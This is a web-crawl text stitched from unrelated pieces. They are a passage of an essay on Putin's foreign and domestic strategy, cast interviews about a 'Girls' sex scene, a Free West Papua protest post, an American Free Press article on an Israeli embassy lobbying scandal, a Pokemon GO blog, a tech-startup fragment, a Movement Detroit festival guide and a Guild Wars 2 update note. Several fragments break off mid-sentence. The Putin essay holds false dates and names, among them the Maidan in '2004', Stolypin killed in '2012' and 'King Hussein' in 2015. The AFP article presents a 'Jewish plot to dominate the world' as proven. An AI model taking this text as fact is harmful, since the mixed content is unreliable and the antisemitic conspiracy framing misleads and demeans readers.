That this has nothing to do with empire-building and everything to do with developing trade links across the Eurasian continent is clear when we look at EEU efforts such as offering free trade zones with countries far afield from central Eurasia. In October 2014 Syria requested talks on a FTZ, to which Moscow and the EEC responded positively. In April 2015 Prime Minister Dmitry Medvedev offered Thailand a FTZ with the EEC. In May Vietnam became the first country to sign a FTZ agreement with the EEU. At the EEC summit on July 6th Russian presidential aide foreign policy Yuri Ushakov announced that India and the EEC had agreed to create a working group for exploring an India-EEC FTZ. A recent Kazakhstani report indicates that more than 30 countries – including Zimbabwe, Jordan, Mongolia and Albania – have applied to the Eurasian Economic Commission for a FTZ with the EEU (http://en.tengrinews.kz/politics_sub/Over-30-countries-interested-in-signing-free-trade-agreement-261289/).
The Shanghai Cooperation Organization (SCO) started out as a joint Sino-Russian project enthusiastically backed by Putin as an economic integration forum for economic cooperation and development in the eastern, Asian parts of Eurasia. When relations with NATO irretrievably soured and southern Eurasia became increasingly threatened by the Arab winter and the global jihadist and Islamist revolutionary movements, Putin increasingly supported SCO’s gradual ‘securitization’, which now includes a counter-terrorism center, a rapid reaction forces, and frequent military maneuvers.
Putin as Foreign Policy Tactician
Putin has demonstrated considerable tactical brilliance in foreign affairs, responding quickly to changing circumstances in often surprising ways that have caught friends and foes off guard. He is very good at adjusting to, and taking advantage of changes in the international environment. For example, in the wake of the Arab winter and disenchantment throughout the Middle East with American policy, Putin has parlayed this dynamic through aggressive diplomacy, developing new relationships and deepening old ones across the Arab world. Recently, Putin has moved in on American ‘allies’ like Egypt and Saudi Arabia, deploying Russia’s considerable energy and defense industries to woo such embattled Arab leaders. More recently, a parade of Arab leaders came to the Kremlin to pursue similar deals. In June and August the United Arab Emirate’s (UAE) Sheikh Abdullah bin Zayed abu Niyah visited Moscow. In the wake of substantial growth in the two countries’ trade volume over the last three years, this summer’s visits led to joint deals on developing oil projects in Siberia, infrastructure projects in Russia, Cuba, and Africa, and food security programs for Africa. In late August along with the UAE prince, King Hussein of Jordan and Egyptian President Sisi visited Putin in the Kremlin. In addition to trade, these visits included talks on what to do about the growing strength of ISIS in the Levant.
The West’s ineffective, some would say feckless and even destabilizing policy in Syria has provided another opening for Putin. Probably as a result of his talks with UAE and Saudi sheikhs and Egyptian President Sisi, Putin has proposed a new anti-ISIS coalition for Syria and Iraq. First, Putin’s plan is to bring together the armies of Syria and Iraq and the Kurdish Peshmerga militia and inflict a more concerted ground war on the Islamic State. Second, the countries funding Syrian opposition groups should be persuaded to coordinate their actions with the Syrian-Iraqi-Kurdish coalition.
Putin is also good at turning setbacks into victories or at least draws. Thus, as the regime Russia’s semi-ally Syrian President Bashar Assad seemed on the verge of being overrun by rebel forces in 2013 and US President Barack Obama was preparing to perhaps deliver the coup de grace with an air war on Assad in response to Assad’s alleged use of chemical weapons against civilians, Putin stepped in offering to negotiate the removal of all of Assad’s chemical weapons out of Syria. The implementation of this plan appears to have resolved the chemical weapons issue and given the Assad regime a new lease on life.
Similarly, Putin was able to wrest victory of sorts from the jaws of defeat, when he suffered what appeared to be a major strategic setback in Ukraine after the illegal seizure of power by anti-Russian elements in Kiev in February 2004. This threatened the loss of a more or less friendly regime next door and of the naval base for Russia’s Black Sea Fleet in Sevastopol, Crimea. At the same time, the Maidan revolution’s neofascist element posed the real risk of violence against ethnic Russians in Crimea and Donbass. Putin killed all these ‘birds with one stone’, when he stealthily occupied and annexed Crimea. So far his efforts to support Donbass’s anti-Kiev rebels have not ended in a final decision, but the Donbass population has been somewhat protected from Kiev’s brutal anti-terrorist operation and neofascist-dominated volunteer battalions, who have wreaking more havoc in Kiev and central and western Ukraine recently than in eastern Ukraine.
The August 2008 Georgian-Ossetiyan war followed a similar pattern, but with a better outcome for Moscow. Putin rescued victory from the defeat that would have resulted if Mikheil Saakashvili’s offensive into South Ossetiya ended in Georgia’s reestablishment of control over the breakaway region. Not only would Moscow have been proven of being incapable of protecting an ally it had sworn to protect when ultra-nationalist Georgian leader Zviad Gamsakhurdia repressed that region and Abkhaziya and Ajariya as well. Moscow would have had to deal with its Ossetiyans from North Ossetiya streaming over the border to help their ethnic compatriots in the south in the insurgency that would have inevitably developed, with or without Russian assistance. The likelihood that a success in South Ossetiya would have prompted Saakashvili to repeat the action in breakaway Abkhaziya would have produced the same threat dynamic for Russia’s interests and hence Putin’s authority, for the Abkhaziyans were also under Russian protection and have several fraternally ethnic fellow-Circassian nationalities just north over the border in Russia’s North Caucasus republics of Adygeya, Kabardino-Balkariya, and Karachaevo-Cherkessiya.
Both the Georgian and Ukrainian episodes reflect Putin’s tactical effectiveness, but not strategic brilliance or even sound strategic planning in difficult, albeit, dilemmas. South Ossetiya and Abkhaziya had been left in vulnerable positions with limited effort to deter Saakashvili from his adventures. Thus, Putin had no grand strategy for ‘recreating the Soviet Union’. Instead of seizing Tbilisi or much larger chunks of Georgian territory, such as the Poti seaport, Putin took limited action protecting the Ossetiyans and Abhkaziyans (and Russia’s and his own prestige in the bargain, to be sure).
Similarly, in Ukraine Putin has not ‘marched on Kiev’ or ‘forged a land corridor from Crimea to Transdniestr, as many hysterically predicted. Why Putin has not even encouraged the Donbass rebels or use the Russian army to seize even all the territory of Donetsk and Luhanks Oblasts for the Donetsk People’s Republic and Luhansk People’s Republic to seize. Thus, as in Georgia, Putin’s support for the rebels and surgical use of small incursions by Russian military was a spur of the moment defensive reaction and innovation undertaken to salvage victory when defeat was imminent. Even the apparent stroke of genius that was his Crimean revanche can be brought into question, given that the Russian General Staff must have had contingency plans for such operations in the event developments – such as war or chaos in the relevant regions – necessitated Russian action. Nevertheless, we do not know if he first broached the idea or someone else, and how much of the stealth tactical approach can be credited to a design of his own.
In both the Georgian and Ukrainian cases, Putin seems to have overreacted tactically in order to ensure the success of his strategy of maintaining Russia’s hegemony in the post-Soviet space. In Georgia, he could have gotten by without recognizing the independence of South Ossetiya and Abkhaziya. A heavy military presence in both breakaway republics would have been enough to deter another Georgian gambit. This would have left Putin with bargaining chips for the future. In Ukraine, Putin could have won the moral high ground by simply occupying Crimea until a settlement had been reached based on the broken February 20th agreement. Using this card, stationing tens of thousands of troops along the Russian-Ukrainian border along the Donbass, and appealing to the UN for negotiations on, and peacekeepers to help enforce a new grand bargain in Ukraine would been a better strategy.
The ‘new cold war’ (a clumsy term) that emerged from the Ukrainian crisis has sharply reduced but not eliminated Russia’s opportunities in the Western vector. Nevertheless, Putin has left the door open for a ‘detente’ with the West while pursuing opportunities in energy trade and other spheres by taking advantage of, and attempting to create rifts in Europe. He has plied existing inroads such as approaching European countries with which Russia has long-standing historical and cultural affinity such as Slavic roots (Serbia, Bulgaria, and Slovakia) and Orthodox Christian heritage (Greece and the aforementioned Slavic countries). He also has cleverly courted political outliers from the European liberal consensus such as Hungary and Austria and conservative and even some nationalist elements across the continent.
Putin as Domestic Strategist
Putin has demonstrated less strategic competence domestically. Successes include the creation of Russia’s Stabilization Fund, sound fiscal and currency policies, and considerably successful development of Russia’s comparative advantages in energy and the defense industry to fill the coffers. These policies have helped Russia through two global economic crises and the present sanctions, but they have not produced a breakthrough in the formation of a robust manufacturing or high technology sector or overall free market economy. The original goal of creating giant state-owned national energy conglomerates like GazProm and RosNeft was to produce revenues to fund other branches of the economy so Russia would not continue to be a mere energy and natural resource ‘faucet’ for other economies. This restructuring transition never occurred, except in farming and agriculture production – not a big money maker.
Politically, Putin has been more successful tactically than strategically, in my view. Putin’s strategy from the start was to strengthen the state even at the expense of democratization. Stability would create a platform for reform. While I have disagreed with his domestic goals – the downsides of which are usually exaggerated by the Western media – there is no doubt that initially he had a strategy that seemed to be a kind of neo-Stolypinism.
The idea, which I will develop in a later article, was that Putin would be a modern day Pyotr Stolypin, the Tsarist era reform-minded Prime Minister assassinated in Kiev in 2012, whom Putin mentioned frequently in his first few years as president in the early 2000s. Putin would be tough on terrorists and radical opposition activity but would also implement a gradual reform program to modernize and liberalize Russia’s economy. There was some emphasis on the need even avoid foreign entanglements, as Stolypin and his predecessor Sergei Witte urged.
Unfortunately, Putin’s domestic policy soon evolved into ‘Stolypinism’ without the liberal component. Pressure was exerted not just on radical opposition activity but opposition forces with radical ideas or just ideas radically different from Putin and his inner circle.
Economic reform has been minimal in comparison with Stolypin’s ambitious plans, and Putin has in fact increased the state’s role in the economy, which has only strengthened corruption’s grip on Russian state and society. Putin’s failure to avoid foreign entanglements was never a promise he made, and he could not be blamed for breaking it if he had, for Western policies (such as NATO and EU expansion, among others) and developments such as the Arab spring and China’s rise have forced him to take assertive and sometimes aggressive foreign policy measures.
Putin as Domestic Tactician
Given his goals, Putin has demonstrated tactical effectiveness, even brilliance in domestic affairs. He has deployed liberal economic and financial specialists in government to good effect in monetary and fiscal policy. Putin has been able on occasion to co-opt moderate political liberals into government – such as former Finance Minister Alexei Kudrin, leading members of liberal democratic ‘Yabloko’ party, among others. He has set up specialized institutions (the Public Chamber, the Presidential Council on Human Rights, and public councils attached to government ministries) to co-opt liberals into ‘constructive’ activity and provide a mechanism from societal and opposition groups. He has been able to do this while cracking down on liberal democratic parties, limiting but not eliminating their rights and opportunities to engage in politics.
The liberal interregnum between Putin’s second and third terms under the presidency of his close associate Dmitry Medvedev was a successful tactical not a strategic shift, at least in its ultimate outcome if not necessarily in its original intent. Some of us would have preferred it was a strategic shift towards liberalization and democratization. Alas, as former Prime Minister, the late Viktor Chernomyrdin, once said: ‘We wanted things to be better, but they ended as they always do.’
Conclusion
In sum, Putin is a competent, even very good strategist, bot not a great one. Putin expanded, deepened and improved upon Primakov’s multipolar doctrine. In a logical response to the West’s attempt to isolate Russia, Putin has energetically and somewhat deftly intensified Russian diplomacy in the other regions of the world. No genius in this, but considerable competence. Domestically, Putin’s strategy is mediocre at best; better in economics than in politics. In economics he has achieved stability through a strategy of frugality, energy development, and ‘saving for a rainy day.’ In politics, Putin unfortunately has followed a long Russian pattern of overreacting to instability and excessively centralizing power in Moscow as opposed to taking a federative approach. Functionally, he has concentrated power in the executive branch, denuding the parliament and the judiciary. This has rarely achieved the desired result in Russia. In time corruption, stagnation, ossification render the state unable to respond effectively to international developments and internal challenges, leading to destabilization, palace coups, revolutions, and the like.
Tactically, Putin is very good, even superb. He is able — within the framework of his goals and strategy — to employ effective tools in the implementation of tactical responses to challenges and setbacks in foreign relations. He often turns seeming strategic defeats into tactical even strategic victories. In domestic politics, although his goals and strategy display a failure to draw the proper conclusions from Russian history, his tactics show some learning from history. He effectively uses liberal economists and ministers in economics and democrats in quasi-state public bodies.
In all these ways, Putin can be considered the hybrid regime’s or the new authoritarianism’s penultimate practitioner. However, this does not mean that the system and methodology he has designed holds out anything more than meta-stability and mid-term life expectancy. In order to get beyond this limitation, another tactical or strategic shift to domestic liberalization is called for. In foreign policy, staying the course while avoiding excesses (S-300 sales to Iran and indiscriminate nuclear technology sales) and overreactions should be the strategy.
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Gordon M. Hahn is an Analyst and Advisory Board Member of the Geostrategic Forecasting Corporation, Chicago, Illinois; Senior Researcher, Center for Terrorism and Intelligence Studies (CETIS), Akribis Group, San Jose, California Analyst/Consultant, Russia Other Points of View – Russia Media Watch; and Senior Researcher and Adjunct Professor, MonTREP, Monterey, California. Dr Hahn is author of three well-received books, Russia’s Revolution From Above (Transaction, 2002), Russia’s Islamic Threat (Yale University Press, 2007), which was named an outstanding title of 2007 by Choice magazine, and The ‘Caucasus Emirate’ Mujahedin: Global Jihadism in Russia’s North Caucasus and Beyond (McFarland Publishers, 2014). He also has authored hundreds of articles in scholarly journals and other publications on Russian, Eurasian and international politics and wrote, edited and published the Islam, Islamism, and Politics in Eurasia Report at CSIS from 2010-2013. Dr. Hahn has been a Senior Associate at the Center for Strategic and International Studies (2011-2013) and a Visiting Scholar at both the Hoover Institution and the Kennan Institute.Photo: Mark Schafer/? Mark Schafer 2014
Always game to push the boundaries of the portrayal of awkward sex on television, merely a few short minutes into Girls’ fourth season, Lena Dunham managed to up the squirm factor by tossing in some unexpected butt play between Marnie (Allison Williams) and Desi (Ebon Moss-Bachrach). We caught up with the cast (and Brian Williams) at the season four premiere and asked them — as delicately as we could — their thoughts on the soon-to-be-infamous sex scene.
Allison Williams
Because of my wiring, I read it in the script and I went into total action mode. I got everyone together and I was like, “All right, Grace [in wardrobe], you and me — we’re going to come up with something so ingenious that he is going to feel comfortable.” I mean, think about where he is, right! It was our first day back of shooting and it was my birthday — everything was happening. I grabbed the makeup girl and said, “I want to smell like a cake,” so we put vanilla cream everywhere so everything smells good. And then I’m like, “Grace, we’re going to rig something invisible from the side but that feels like a pillow when he puts his face into it.” And, that’s what we did! You wouldn’t know; it’s total TV magic. (In Entertainment Weekly, she explained further: “It was so elaborate — it involved Spanx that we cut away and glued down and involved menstrual pads and two of those weird thongs.”)
How do you tell your family. Are you like, “Dad, sit this one out”?
No, also because of my wiring, I was like, “Any advice? What do you guys think in terms of what adhesive I should use?” I got some advice from my parents, because they too are veterans of the show, so their thinking has changed as well. I’d get a call from my mom and she’d be like, “Maybe if you took a thong and cut it away from the sides but you stuck it on in the front and the back it could work.” I was like, “Mom, I like your thinking.” Just your regular dinner conversation! We’re changing as a family; it’s lovely.
Brian Williams
She’s always been an actress. For us, watching her is the family occupation and everybody has to remember it’s acting, no animals were harmed during the filming, and ideally nobody gets hurt.
Lena Dunham and Jenni Konner
JK: When we were shooting that, I said I thought we had done all of the funny, crazy sex we could do, but … Part of that was improv on Ebon’s part, and we died laughing.
LD: Allison was a good sport.
JK: She was game — a down girl. She’s a serious actress and she takes it all seriously. She was brilliant.
LD: Let me tell you this, when someone puts their face in your butt, whether there’s a barrier or not, their face is still in your butt. And she handled that with aplomb.
JK: Even when someone you love puts their face in your butt, it might be weird!
Ebon Moss-Bachrach
I hope this is okay to say, but honestly I think this scene comes about by Lena saying, “How can I put Allison through the ringer?” “How can I tighten the screws on Allison?” I think Lena gets a kick out of that, Lena does.
Zosia Mamet
We know that Lena and our writers would never, ever make us do anything that didn’t serve the purpose of the story, so whenever she writes something that’s uncomfortable or scary, we just roll up our sleeves and we can’t wait to do it for her and for our show. It’s not just, you know, a little eatin’ out from behind. It matters!
Jemima Kirke
I sat behind Allison and her dad in the first season [premiere] and I was going to puke; I was so nervous. I don’t even know him, but can you imagine [with this]?! Watching a kissing scene with my dad next to me is awful, let alone with you getting — whatever that’s called — motorboated in your ass!
Alex Karpovsky
Yeah! Let’s do it! Let’s go there! Let’s explore all the cavities. Yeah, 2015 is the Butt Year. There is some type of sexual revolution happening, and maybe that’s one of the cliffs or peaks that we need to begin to incorporate into our societal representation of this revolution, specifically in television. This could be the year of the anus.Free West Papua demo held outside Indonesian Embassy in London
May 23, 2015
Today the Free West Papua Campaign held a demonstration outside the Indonesian Embassy in London, United Kingdom to call for West Papua to be free.
We stood in front of the Embassy in Grosvenor Square and despite the rain we were determined to stay and raise our voices in protest. We made sure to keep up the pressure on the Indonesian authorities responsible for the ongoing genocide and illegal occupation of West Papua.
We also showed our support for the West Papuans arrested by the Indonesian police in West Papua this week just for peacefully demonstrating for membership of the Melanesian Spearhead Group (MSG). We have had reports that over 100 West Papuans were arrested this week during these demonstrations and many of them were tortured.
The demonstration was a success and we raised important awareness and support for the Free West Papua Campaign, in London.
We would like to thank everyone who attended the demo today. It is always important that there are people all round the world to show their support for the freedom of West Papua and so we are encouraged that people heard about this event and came in solidarity.
We will keep you all updated about the next Free West Papua Demonstration. Until then, let us all keep the momentum. Around the world support is growing faster than ever now for the cause.
We are sure that one day West Papua will finally be fully free and independent.
Free West Papua!An official with the Israeli embassy in England was recently outed by Arab media after he was caught soliciting the help of a staffer with a high ranking member of Parliament to smear another PM, who had a history of protesting Israel’s illegal land thefts. The official resigned after he was outed, but no one believes that this activity will stop any time soon.
By Dave Gahary
A lot has been written over the years about the so-called Jewish—and since 1948 Israeli—plot to dominate the world’s affairs by infiltrating the host countries in which they reside, a claim immediately branded as an “anti-Semitic canard” by not just Jewish organizations like the Anti-Defamation League (ADL), but also by the elite media, which has a clear pro-Israel bias. Now, however, a six-month undercover investigation conducted by Qatar’s state-funded broadcaster al Jazeera has provided video proof that rather than a canard—a groundless rumor or belief—the attempt to influence countries, in this case Great Britain, is a clear conspiracy, directed by the Israeli government, which included plotting to destroy the careers of senior UK politicians, especially those considered “anti-settlement.”
The undercover reporter, whom al Jazeera referred to as “Robin,” met regularly with members of Britain’s lobby network, which has a close relationship with the Israeli government via their embassy in London.
“Robin posed as a graduate activist with strong sympathies towards Israel who was eager to help combat the Boycott, Divestment, and Sanctions movement prominent in Britain,” reported al Jazeera.
One of those targeted by Israel was Sir Alan James Carter Duncan, the British Conservative Party member of Parliament, who currently serves as minister of state for Europe and the Americas.
During a secret filming at a French restaurant in London, Shai Masot, the then-senior political officer at the Israeli embassy, asked the then-chief of staff to the deputy chairman of the ruling Conservative Party, Maria Strizzolo, “Can I give you some MPs that I would suggest you take down?”
Strizzolo, “a British civil servant active with the Conservative Friends of Israel (CFI),” replied, “[I]f you look hard enough I’m sure that there is something that they’re trying to hide.”
According to its website, CFI, a British parliamentary group affiliated with the Conservative Party, “is dedicated to strengthening business, cultural, and political ties between the UK and Israel” and seeks to strengthen ties between the party and Israel’s Likud Party.
“Yeah, I have some MPs,” Masot brazenly stated, looking at Robin. “[Strizzolo] knows which MPs I want to take down,” referring to Duncan.
Strizzolo hints that “a little scandal” could harm Duncan.
In 2014, Duncan said that, while he supports Israel’s right to exist, he believes Israeli settlements on occupied Palestinian land represent an “ever-deepening stain on the face of the globe,” and he equated the longest military occupation in world history to apartheid.
Although Masot’s exact role at the Israeli embassy is shrouded, he claims to be a former Israeli navy officer and an employee of the Israeli Defense Ministry.
“His embassy business card describes him as a senior political officer, but the embassy says he is not a diplomat,” reports the UK’s Guardian.
An online profile states that his work includes “founding several political support groups in the UK to maximize the Israeli ‘firewall,’ ” and that he helps secure “adjustments to legislation” in the UK.
Incredibly, Strizzolo revealed to Robin “that she had a strategy of manipulation to ensure Israel remains at the top of the UK’s foreign policy agenda,” which provides insight into how public policy is influenced by, in this case, pro-Israel pressure groups.
“If at least you can get a small group of MPs that you know you can always rely on, when there is something coming to parliament and you know you brief them, you say: ‘You don’t have to do anything. We are going to give you the speech, we are going to give you all the information, we are going to do everything for you.’ ”
Strizzolo also advised trying to infiltrate a live-televised weekly session—called “Prime Minister’s Questions” (PMQs)—wherein the country’s leader answers MP questions.
“If they already have the question to table for PMQs, it’s harder to say: ‘No, no, no, I won’t do it,’ ” al Jazeera revealed.
She then went on to boast about how she “once made an immediate impact on the national debate.”
While in Israel with the CFI in 2014, she persuaded her former boss to question the prime minister in public about three missing teenagers thought to be kidnapped and murdered. Her boss took the request and called on then-Prime Minister David Cameron to support Israel and do “everything possible to take out Hamas terrorist networks.” Cameron promised his country would “stand by Israel.”
After news of al Jazeera’s Investigative Unit’s series “The Lobby” was published by international media, an Israeli embassy spokesman in London tweeted a message saying that Masot would be “ending his term shortly,” adding that Mark Regev, ambassador of Israel to the UK, had apologized to Duncan “and made clear that the embassy considered the remarks to be completely unacceptable.”
Immediately following the airing of “The Lobby,” it was confirmed that Masot was forced to resign. It was also revealed by The Guardian that Masot had “set up a number of political organizations in the UK that operated as though entirely independent,” for the purpose of benefitting Israel.
Strizzolo has since resigned from her post as well.
Although the Israeli ambassador to the UK apologized and claimed “the British government said it considered the matter closed,” the Scottish National Party’s foreign affairs spokesman said this position was not acceptable.
“I would expect the UK government to fully investigate this matter so that we can be confident our elected officials are free to carry out their jobs to the best of their ability and without fear of having their reputation smeared by embassy officials who do not agree with their views,” said Alex Salmond, apparently unafraid of Israel’s heavy hand in UK politics.
The Guardian quoted a former minister in Cameron’s government who wrote anonymously online, “British foreign policy is in hock to Israeli influence at the heart of our politics, and those in authority have ignored what is going on. For years the CFI and LFI [Labour Friends of Israel] have worked with—even for—the Israeli embassy to promote Israeli policy and thwart UK government policy and the actions of ministers who try to defend Palestinian rights.”
Dave Gahary is a writer for AFP and lives in Florida.As a typical 90’s nostalgic geek, I was thrilled to try out the new Pokemon GO app. I got it the very first day it was out, on the 6th July. Here are my feelings about this game, based on two weeks of playing in Paris.
Paris is full of rats, pigeons and bats
As in many big cities in the world, you will find a lot of Pidgeys, Rattatas and Zubats in Paris. I don’t know of it’s kind of a joke for the developers, but it really feels like it was done on purpose.
A gym in Paris will change team a couple of time per day
And even more on strategic places! There’s one close to my work place that is taken over more than 3 times in average only during lunch time, each day. Things move really fast in the French capital!
You’ll never miss out of PokeBalls
PokeBalls can be found at Pokéstops. Good news, you’ll always have enough to go on playing for hours. Just don’t forget to farm now and then.
I discovered new places
The great thing about Pokemon Go is that you have to walk around the city to play. That way, I discovered loads of new places in Paris. I also started to pay attention to small details of the city. You know, those small things that make your day better once you realize they were always here.
It’s harder to find Pokéstops in small cities
I’ve been away from Paris a couple of days last weekend. Turns out there’s less PokéStops in small cities. For example, I was staying in a 4500 inhabitants city near the Atlantic coast. I could only find 3 PokéStops in the whole place. In Paris, I have two within reach of my flat, and two others within reach of my office.
But you should find a gym close enough
Speaking of this city I was staying at, there was a gym, located on a old church in the city center. In the end, even with few PokéStops around, you should be able to find and conquer a gym.
Playing Pokemon at work is possible
You just need a couple of tricks to maintain your device on all the time. Pokemons will come to you here and then. My coworkers think I’m a bit crazy, but it doesn’t affect my workflow so they are ok with it.
It gives me a reason to go out after work
Usually, I would just come home, eat, watch a movie and basically do nothing. Now, I (sometimes) take a walk at the end of the day to go catch Pokemons. I guess it’s healthier than staying on the couch right?
It builds |
on a per-device basis.
CEO Michael Amori believes that the company’s product will deliver more than just prettier data, he sees the “immersive visualization” as a key to helping data scientists discover different “dimensions” of the findings that they’re poring through.
“If you can visualize the landscape of your data more effectively, you’ll be more likely to pick the right algorithms,” Amori told TechCrunch.
Amori says the company will likely finish its closed beta in three to five months, at which point Virtualitics will begin looking to launching on a wider scale.Today Movement Detroit released its 2016 stage programme including full set times for the entire weekend. Naturally, conflicts abound with a lineup of this size and social media chatter is already buzzing with opinions on who shouldn’t be missed and which artists are worth skipping on.
While music taste is subjective and nothing will ever change that, we have combed through the full Movement roster and have chosen 15 must-see acts (listed alphabetically) we encourage catching this year. Included are some obvious choices (duh), a few big international artists, local Detroit acts and names that represent techno, house, acid house and even drum and bass. The aim was to give a balanced opinion that hopefully adds some new faces to your must-see list for the weekend.
Don’t forget to brush up on our City Travel Guide for Detroit ahead of your trip, for pointers to make the best out of your Movement weekend!
Anja Schneider
Monday, May 30th. 5-6:30pm at the Main Stage
Anja Schneider shouldn’t be a new name to most people attending Movement this year, having worked the international underground music circuit for plenty of years as a producer, DJ and founder of Mobilee Records. The German producer has been brilliantly representing the talented pool of female acts in dance music for almost two decades now, thanks to a prolific list of releases and energetic sets that always get the crowd going.
Delano Smith
Monday, May 30th. 6-7:30pm at the Made in Detroit Stage (Origins: Elevation Showcase)
It is no secret that Delano Smith’s music is a blend of Chicago and Detroit, the two iconic Midwest cities that gave birth to house and techno respectively. Born in the former and raised in the latter, Smit represents one of the last of a rare group of Detroit’s first house DJs and a product of I-94 connection (the interstate that connects both cities). Expect deep and groovy, the type of sets that calls for your best dancing shoes to be worn.
DJ Pierre
Monday, May 30th. 7-8:30pm at the Underground Stage (Acid Showcase)
The name is synonymous with “Acid House”, and with plenty of good reason. DJ Pierre is not only a pioneer of the genre, he is the quintessential producer that helped found it as a member of Phuture, the group formed in 1985 with Spanky and Herb J whose “Acid Trax” (1987) is regarded by many to be the first acid house record ever made. Phuture played a fantastic set at Hart Plaza last year and this coming May it will be the turn of DJ Pierre solo to represent the popular genre on its own stage.
Dub Phizix & MC Strategy
Monday, May 30th. 8-10pm at the Opportunity Detroit Stage (Konkrete Jungle Showcase)
Looking for something other than techno, house and acid? Then you should head over to see this British duo for a fix of proper drum and bass. One of the genre’s best producers and a regular at London’s famed fabric nightclub, Dub Phizix knows how to blend percussion with basslines that evoke space and atmospheric like no other producer of the genre does. With MC Strategy by his side, the set is to be riot, the kind of riot that you may need to break the programming mold that focuses on underground sounds in Detroit.
Ectomorph (Live)
Saturday, May 28th. 8-9pm at the Opportunity Detroit Stage (Interdimensional Transmission Showcase)
Ectomorph is the union of BMG and Erika, the two forces behind the Interdimensional Transmission and symbols of the live analogue techno movement (pun intended) that is taking over the festival’s underground stage this year. They have been holding their own Movement after-party for years and have been regulars at the popular Bunker parties in New York City for just as long. Their mythic status and resultant cult following are a fruit of studied and well-crafted techno performances that full embody the trajectory the genre has taken in Detroit over the last decade and more.
Four Tet
Saturday, May 28th. 9:45-10:45pm at the Red Bull Music Academy Stage
Keiran Hebden, the man behind the electronic outlet knows as Four Tet, has been breaking the rule since his arrival in this scene. While his first single “Thirtysixtwentyfive” was a mere 36 minute long – no big deal – it’s what he has done since that has elevated him as one of the most sought-after acts of the current house music industry. He blends hip-hop, jazz and improvised sounds in a signature manner unlike any other artist out there, making it almost impossible to pin him to a specific genre.
Hito
Monday, May 30th. 2-4pm at the Beatport Stage (PLAYdifferently presents Prototypes Tour)
Japan-born and Berlin-based, Hito may be best recognized as a mainstay of Richie Hawtin’s ENTER.Sake concept and its influence on the overall brand of Hawtin’s traveling party and former Ibiza residency. As you may have found out in our recent feature on her humble beginnings, Hito is herself a purveyor of Japanese underground music thanks to jacking vinyl sets that emphasize on groove and are a perfect day opener for the heavier sounds of the PLAYdifferently roster set to play the stage after her.
KRAFTWERK – 3D
Saturday, May 28th. 10:30pm-12am at the Main Stage
This is a no-brainer if there ever was one. The iconic German electronic music band will be making its Movement debut as a headliner and the most anticipated act of the year. Added to the already alluring equation is the notion that they will be bringing their famed 3D production to the heart of Detroit. Expect to be wowed.
Magda
Sunday, May 29th. 7:30-9pm at the Beatport Stage
Born in Poland and raised in Detroit, Magda got her jump as a touring act and producer when she joined Richie Hawtin’s M_nus label and began touring the world as his opening DJ. The rest is history, her name now a symbol of minimal techno around the world – a status that has cemented her as one of the most in-demand artists of her craft.
Matador (Live)
Sunday, May 29th. 5:30-7pm at the Main Stage
With releases on Cocoon, Perc Trax and M_nus under his belt, Matador entered 2016 with a brand-new EP out on his very own debut label “Rukus” His set at the Underground Stage last year was a crowd favorite with a live performance incorporating midi controllers, samplers and effects to formidable effect. Detroit is last stop of a current world tour that has seen him perform in India, the UAE and all over Europe – a testament that his sound is as popular and fresh as ever.
Modeselektor (Live)
Monday, May 30th. 10:45pm-12am at the Main Stage
Diverse, exuberant and boundary-breaking are just a few of the words used to describe the German duo known as Modeselektor. You’d be kidding yourself if you ever tried to pin them to a single music genre, for their grooves emanate from a blurring together of numerous facets of electronica both as a duo and as Moderat alongside fellow Berliner Apparat. They aren’t headlining the festival by pure chance, leaving many to wonder what to expect from their first ever live performance at the festival.
Project 313 (Live)
Saturday, May 28th. 2-4pm at the Underground Stage
It’s as simple as this: if you want hard techno, go see Project 313. The Detroit-based duo composed by Chad Parraghi and Nick Bien are the brains behind the city’s famed Blank Code imprint and the Scene parties that showcase that very same no hold barred techno their label releases. Project 313 have been teaming up with Los Angeles’ Droid Behavior every year during Movement, bringing together their respective Scene and Interface parties highlighting some of the most impressive international and local techno talents on the market. The key to their success is personal passion and uncompromising love for the very same dark and heavy techno sounds you can expect to hear during their set.
Mike Servito b2b Derek Plaslaiko
Saturday, May 28th. 5-6pm at the Opportunity Detroit Stage (Interdimensional Transmission Showcase)
This coming May, the two Detroit natives and residents at The Bunker New York will be showcasing their impressive talent as track selectors with a back-to-back performance. There is no doubt that the two friends will display the exact talents that have seen them gain a reputation as some of the best track diggers in today’s DJ touring world – this isn’t their first rodeo as a duo so expect to dance, and dance hard.
Tin Man
Monday, May 30th. 6-7pm at the Underground Stage (Acid Showcase)
Vienna’s Tin Man has been producing for over a decade, yet still represents the wave of neo acid artists that has been held responsible for the recent increased resurgence in popularity of the infectious and mesmerizing genre. He incorporates the use of Roland 303’s in his live shows, transforming his sets into captivating and soulful performances that are often labeled as “hypnotizing.”
Zip
Saturday, May 28th. 5:30-7pm at the Beatport Stage
Nobody would fault you for thinking that Zip is Romanian. His characteristically minimal sound transports one to the beaches of Sunwaves alongside the likes of Ricardo Villalobos, the [a:rpia:r] trio and a whole flurry of other local talent. German-born, however, he co-founded the Perlon label and currently holds residencies at two of Germany and the world’s most influential clubbing institutions: Robert Johnson (Offenbach) in Frankfurt and the Panorama Bar in Berlin. All this while continuing to tour and perform all over the world, including regular guest sets at Cocoon Ibiza.
BONUS: Bjarki (Live)
Sunday, May 28th. 4-5:30pm at the Main Stage
This feature wouldn’t be complete without mentioning Bjarki’s debut performance at Movement, and that is why he is included as a bonus 16th must-see act for this year’s 10th Anniversary of Detroit’s techno festival. The Icelander producer has been making waves since his “I Wanna Go Bang” single exploded on the scene in spring of last year and his live set at the Main Stage in the middle of the afternoon on Sunday should be a treat for everyone present.
Connect with Movement: Official Site | Facebook | Twitter | InstagramHello, my name is Tyler Bearce, and I’m here to talk about a significant change we’re making to the way that you’ll upgrade your World vs. World objectives in the Guild Wars 2: Heart of Thorns™ expansion. This is the system that allows teams to fortify their keeps and towers with things like stronger walls and additional guards. Afterward, I’ll explain our rework to the World vs. World ability system.
These are the changes we’ve made to the WvW upgrade system:
We’ve removed the supply cost for upgrades.
Supply holds and supply shipments will be smaller.
We’ve removed the gold cost for upgrades.
Individual upgrades are now grouped into upgrade tiers.
Upgrading to the next tier now happens automatically over time.
There are two tiers for camps and three tiers for all other objectives.
Higher tiers take longer to upgrade than lower tiers.
Each shipment from a dolyak caravan will reduce the remaining time by a set amount.
The time it takes to fully upgrade an objective should still be roughly the same as it was before these changes.
